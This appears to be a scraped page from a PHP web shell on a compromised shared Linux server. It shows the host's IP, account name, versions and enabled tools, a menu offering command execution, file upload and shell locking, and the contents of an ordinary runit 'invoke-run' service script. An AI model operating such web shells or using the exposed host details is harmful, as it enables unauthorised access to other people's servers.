hyun.psd; gzuncompress
|
Server IP : 173.236.192.202 / Your IP : 216.73.216.85 Web Server : Apache System : Linux iad1-shared-e1-03 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64 User : andfor18 ( 14551322) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /lib/python3.10/../runit/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
#!/bin/echo this script must be sourced, not executed.
set -e
. /etc/default/runit
NAME=${PWD##*/}
if [ "${VERBOSE:-0}" != 0 ] ; then
trap "echo invoke-run: $NAME stopped" EXIT
fi
case $1 in
(-1)
echo "invoke-run: ERROR $1 in $NAME: runscript didn't exit normally"
# no need to sv d service here, runsv will stop trying after the first attempt
;;
(161)
echo "invoke-run: WARNING for $NAME: disabled by local settings"
sv d $NAME
exit 0
;;
(162)
echo "invoke-run: ERROR $1 in $NAME: configtest or early setup failed"
sv d $NAME
exit 0
;;
(170)
echo "invoke-run: ERROR $1 in $NAME: a runtime hard dependecy is missing"
sv d $NAME
exit 0
;;
esac
if [ "${DEBUG:-0}" != 0 ] ; then
echo "invoke-run: $NAME : run exit code is $1"
fi